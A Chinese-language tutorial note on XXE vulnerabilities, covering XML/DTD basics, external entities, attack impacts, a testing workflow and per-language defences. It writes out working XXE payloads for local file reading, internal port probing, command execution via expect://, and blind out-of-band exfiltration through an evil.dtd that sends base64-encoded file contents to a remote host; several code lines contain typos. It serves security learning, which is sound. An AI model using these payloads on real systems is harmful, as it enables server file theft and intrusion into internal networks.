XXE漏洞
内容为笔记整理,如有侵权,联系删除
XXE漏洞之简介
XML基础
eXtensible Markup Language:可拓展标记语言XML
HTML:超文本传输语言,与html不同,HTML只能使用固定标签,而XXE可以使用自己定义的标签
用途
-
配置文件:层次分明结构清晰,自带校验,拓展方便
-
交换数据,用来通信
内容
<?xml version="1.0" encoding="UTF-8?> //声明
<TranInfo> //XML根元素
<CdtrInf> //XML子元素
<Id>6226097558881666</Id>
</CdtrInf>
<Nm>张三</Nm>
<DbtrInf>
<Id>6222083803003983</Id>
<Nm>李四</Nm>
</DbtrInf>
<Amt>1000</Amt>
</TranInfo>
格式要求
- XML文档必须有根元素
- XML文档必须有关闭标签,成对出现的;
- XML标签对大小写敏感
- XML元素必须被正确的嵌套
- XML属性必须加引号,属性在标签内
格式校验
DTD(Document Type Definition) :文档类型定义,可以是独立文件,也可以在内部声明
<!DOCTYPETranInfo[ //声明和根元素
<!ELEMENT TranInfo(CdtrInf,DbtrInf,Amt)>
<!ELEMENT CdtrInf(Id,Nm)>
<!ELEMENT DbtrInf(Id,Nm)>
]>
ELEMENT:元素,一一对应,格式不符合就会报错
也可以定义实体(ENTITY),有内部实体和外部实体之分
内部实体
定义:
<?xml version="1.0" oding="UTF-8"?>
<!DOCTYPEname[
<!ELEMENT name ANY>
<!ENTITY RWEB "NB" >]> /定义了一个内容 NB,名称为RWEB的内部实体
引用:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name[
<!ELEMENT name ANY>
<!ENTITY RWEB "NB" >]>
<people>
<name>xgren</name>
<area>&RWEB;</area>
</people>
效果:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name>
<people>
<name>xgren</name>
<area>NB</area>
</people>
好处是在一个地方定义后可以在多个地方引用
外部实体
<?xml version="1.encoding="UTF-8"?>
<!DOCTYPE name[
<!ELEMENT name ANY>
<!ENTITY XXE SYSTEM "file:///D:/test/test.dtd" >]>
<people>
<name>xgren</name>
<area>&xxe;</area>
</people>
可以使用SYSTEM或PUBLIC两个关键字,SYSTEM是引用本地计算机,PUBLIC是引用外部计算机;
浏览器显示不出来,引用高版本浏览器默认禁用外部实体
读文件可以用到的协议
协议 | 使用方式 |
---|---|
file | file:///etc//passwd |
php | php://filter/read=convert.base64- encode/resource=index.php |
http | http//:wuya.com/evil.dtd |
不同语言支持的协议不同
Libxml2 | PHP | Java | .NET |
---|---|---|---|
file;http;ftp | file;http;ftp;php;compress.zlib;compress.bzip2;data;glob;phar | file;http;https;ftp;jar;netdoc;mailto;gopher * | file;http;https;ftp |
php支持更多的协议可以安装一些拓展
完整的xml文档内容
<!-- 第一部分:XML声明部分 -->
<?xml version="1.0"?>
<!-- 第二部分: 文档类型定义 DTD -->
<!DOCTYPE note[
<!--外部实体声明-->
<!ENTITY entity-name SYSTEM "URI/URL">
<!-- 第三部分:文档元素 -->
<note>
<to>Dave</to>
<from>GiGi</from>
<head>Reminder</head>
<body>fish together</body>
<area>&entity-name;</area>
</note>
XXE漏洞之定义
一句话:利用外部实体引用来执行恶意操作
如果Web应用的脚本代码没有限制XML引入外部实体,从而导致用户可以插入一个外部实体,并且其中的内容会被服务器端执行,插入的代码可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
php高版本默认禁用外部实体
XXE漏洞之危害
-
任意文件读取
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note[ <!ENTITY xxe SYSTEM "file:///D:/test/test.dtd" >]> <login>&xxe;</login>
-
内网端口探测
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note[ <!ENTITY xxe SYSTEM "http://127.0.0.1:3306" >]> <login>&xxe;</login>
没反应说明开启,报错说明未开启
-
执行系统命令
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note[ <!ENTITY xxe SYSTEM "expect://ipconfig" >]> <login>&xxe;</login>
需要安装expect拓展
-
执行脚本,占用内存,使服务器崩溃等
XXE漏洞之挖掘漏洞
-
确定使用XML传输数据(抓包可得)
-
发送到Repeater
-
添加DTD,引用外部问文档
添加外部实体并引用
<?xml version="1 encoding="UTF-8"?> <!DOCTYPE a[ <!ENTITY xxe SYSTEM "file:///C:Windows/system.ini" >]> <username> &xxe; </username>
-
Send得到响应
无回显
使用DNSlog:www.dnslog.cn
;获取get一个子域名并复制
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY % remote SYSTEM "http://子域名.dnslog.cn">%remote;]>
盲打
可以部署在自己的vps上一个dtd文档,evil.dtd内容如下
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/system.ini">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.142.135:8080?p=%file;'>">
然后在xml中连接该文档就可以了
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY % remote SYSTEM "http://eg.com/evil.dtd">%remote;]>
<root>&send;</root>
XXE漏洞之防御
禁用实体解析
php
libxml_disable_entity_loader(ture) //关键代码
Java
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.Net
XmlDocument doc= new XmlDocument();
doc.XmlDocument = null; //关键代码
ASP
Set xmldom = Server.CreateObject("MSXML2.DOMDocument")
xmldom.resolveExternals = false
python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤输入字段以防止外部实体引用
'
"
''
""
<
\>
]]>
]]>>
<!--/-->
/-->
-->
<!--
<!
<! [CDATA[/]]>
使用waf
直接上waf直接过滤